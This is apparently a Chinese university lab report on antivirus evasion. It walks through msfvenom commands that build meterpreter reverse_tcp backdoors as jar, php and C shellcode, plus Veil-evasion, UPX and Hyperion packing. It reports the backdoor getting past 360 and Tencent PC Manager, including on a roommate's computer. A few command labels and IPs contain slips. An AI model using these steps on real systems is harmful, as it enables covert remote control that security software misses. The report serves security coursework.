Exp3 免杀原理与实践 20165110
一、. 实践内容
1.正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
2.通过组合应用各种技术实现恶意代码免杀(0.5分)
3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
二、实验内容
1.任务一
1.1正确使用msf编码器(0.5分)
(1)使用msfvenom -l encoders
查看可以使用的编码器,选择其中的一个来生成所需要的后门。
(2)将上一个实验中用msf
生成的后门程序放到virscan网站中进行扫描
可以发现绝大多数的杀毒软件都可以辨别其为病毒,这类病毒几乎可以说是出师未捷身先死,刚进入就被杀软给杀掉了。
(3)接下来通过多次编码来查验其是否可以通过增加编码次数来降低其查验率
我分别进行了一次和十次编码,分别生成了相应的后门程序
放到virscan中进行扫描
(编码一次的扫描结果)
(编码十次的扫描结果)
通过比对我们可以发现,编码次数对查验率没有直接的影响。
1.2msfvenom生成如jar之类的其他文件(0.5分)
(1)生成jar文件
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.168.128 lport=5110 x> 20165110_backdoor_java.jar
(2)生成apk文件
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.168.128 lport=5110 x> 20165110_backdoor.php
(3)生成php文件
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.168.128 lport=5110 x> 20165110_backdoor.php
使用msfvenom生成更多类型后门程序请参见该博客
1.3veil-evasion(0.5分),加壳工具(0.5分)
(1)安装veil-evasion
这个过程说简单也简单,说难也是难于上青天的。这个步骤卡了我一天,好在最后在大佬的指点下解决了,此处感谢zch大佬一语点醒梦中人啊。
我使用sudo apt-get install veil-evasion
进行安装,随后输入y
之后就开始激动人心之旅,过程异常之痛苦,耗费了我大量的流量,好不容易加载到了百分之百,结果python总是装不上,装不上也就算了,它还在不停地重试。。。
最后大佬告诉我装不上的原因是因为我的kali版本与python版本不匹配,然后我又进行了激动人心的sudo apt-get upgrade
在经历了漫长的等待时间之后,更新完成,再次执行上述指令,最终安装成功,但是我的python环境的中文有乱码,我查了一下是因为字体没有下载,但是没有关系了,因为已经不影响使用啦。
(2)进入veil
输入veil
输入use evasion
输入use c/meterpreter/rev_tcp.py
随后设置
set LHOST 192.168.78.128 //kali的IP
set LPORT 5313 //监听端口
最后输入generate
输入生成程序的文件名
然后传回主机,嗯分分钟被发现了,微笑.jpg
附:扫描过程
扫描结果
1.4使用shellcode编程(1分)
(1)生成shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp LHOST=92.168.168.128 LPORT=5110 -f c
(3)生成.c文件
通过指令touch test.c
生成一个c语言形式的文件将刚刚生成的shellcode数中产生的buf[]中的字符串复制到改文件中,再加入必要的函数,修改完成保存该文件
(4)编译该文件
使用命令i686-w64-mingw32-g++ test.c -o 20165110.exe
进行编一生成exe文件
(5)检测
通过virscan进行扫描
(6)加壳工具
压缩壳
使用upx payload2+.exe -o playload2++.upxed.exe
指令生成一个新的后门程序
kali攻击机,win7受害者
经测试该后门程序可用
通过virscan进行扫描
结果如下图12个软件可以查出该exe含有病毒
加密壳
首先将upx文件拷贝至/usr/share/windows-binaries/hyperion/
目录下,随后在该目录中进入终端
输入wine hyperion.exe -v payload2+.exe payload2++.exe
对刚才加过压缩壳的文件增添加密壳
kali攻击机,win7受害者
经测试该后门程序可用
有意思的地方来了,经过加密壳操作后的程序放到virscan进行扫描
结果震惊的一幕发生了
居然更多的软件扫描出了其中的病毒!!!!!!
2.任务二
通过组合应用各种技术实现恶意代码免杀(0.5分)
使用C语言生成的shellcode+压缩壳方式可以免杀成果并且实现对机器的控制
攻击机:kali
受害者:win7虚拟机
首先重复上面的1.4的步骤,生成相应的buf[]字符串数组,然后使用windows平台下vc进行编译,将编译成功的exe传回kali中,再进行压缩壳操作,完成后将新生成的程序再传回win7中进行运行。
经测试后后门程序运行正常
杀毒软件(360安全卫士11)扫描后没有扫描出病毒,免杀成功!
上面我已经实现免杀了,这个是没有免杀的失败尝试!!!!
我还尝试了加密壳,结果居然分分钟被杀掉了,我刚一双击就被杀没了,按说加了壳之后应该比加了壳更难被发现,结果这个加密壳,居然让原先没被发现的病毒被发现了???颇有种画蛇添足的赶脚,真是令人打开眼界啊。。。。
3.任务三
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
另一电脑(版本win7 x64)
安装的是腾讯电脑管家(版本号13.3.20237.212)
一开始我ping不通舍友的电脑(因为不处于一个网段上)后来将虚拟机的网络设置改为桥接之后,虽然都在10.1.1网段中但是依然ping不通,十分头秃,后来我发现是否连接网络对ip地址没有影响,于是乎我更改了vm的网络首选项,将其设置成了与主机一致的网卡,然后再次ipconfig之后
我的主机ip 10.1.1.210
舍友主机ip 10.1.1.113
重复上述任务二的操作,用新的ip地址和端口号生成一个新的后门程序并对其进行加压缩壳实现,然后将其传输给舍友的主机
经检验该后门程序运行正常
然后用电脑管家进行查杀,结果如图
免杀成功!
三、基础问题回答
1.杀软是如何检测出恶意代码的?
答:特征代码法:该方法是目前杀毒工具中必备的组成部分
校验和法:文件完整性保护,主要用于检测系统文件是否被篡改。
行为监测法:监测恶意代码执行时的行为特征,可以识别恶意代码的名称或者是种类,也可以检测未知的恶意代码。
2.免杀是做什么?
答:免杀是可以使杀毒软件无法检测到其为病毒程序,从而可以使其“正常运行”
3.免杀的基本方法有哪些?
答:(1)采用不同的编码方式,或者编码次数
(2)对编码后生成的文件进行加壳,加压缩壳或者是加密壳(个人认为加密壳好想有点适得其反的赶脚,本身好好的一加上加密壳结果反而被检测出来了)
(3)还可以使用反弹端口,一些防火墙不会对本机发出的请求进行过滤
4.开启杀软能绝对防止电脑中恶意代码吗?
答:做完这次实验后我果断卸载了360和电脑管家,这两个杀毒软件我都不知道夸它啥好了,都没我电脑自带的windos能力强,一脸嫌弃。。。
四、实验体会
唔,这次实验让我对这些杀毒软件失去了信心,觉得都太糟糕了,连我制作的这种菜鸡型后门都检测不出来,我为我的电脑感到深深的忧虑。
但是后来在大家的反馈来看,现在360管家还是可以将一些之前检测不出来的一些程序还是可以被发现了的,说明病毒库在不断的更新,所有后门程序都不可以一成不变正常运行,让我稍微又对这些杀毒软件捡回了一些信心。
但是我们制作的这些后门都是反弹端口型的,也就是刻意的自己去点击这些后门程序从而实现被控,这个在现实生活中显然是不可取的,所以要想真正实现一个后门程序应有的模样还是有一些功夫要下的哟。
还有一个让我觉得非常神奇的事情就是,我加了加密壳之后居然能将原先检测不出来的东西被检测出来,唔,这就说明一个问题,这段程序之前的代码也就是有关解密的相关代码应该已经被放到特征库中去了,那我有有一个问题了如果将一个正常的exe文件进行加壳会不会也检测出病毒了呢,如果是的话那就可以验证我的猜想了呢,如果是的话那可能会引起非常多的误报。。。
五、实验过程中出现的错误
1.安装veil中的问题
原因:因为我的kali版本与python版本不匹配
解决方法:sudo apt-get upgrade
2.exploit时显示错误
原因:IP地址被占用,上一次使用没有正常退出
解决方案:重启一下电脑,下一次使用msfconsole时正常推迟
3.ping不同舍友的电脑
原因:不在一个网段上
解决方案:设置为桥接模式,并设置虚拟网络
4.将文件传输到舍友的电脑上却并不能实现控制
原因:LHOST改变
解决方案:重新生成一个新的程序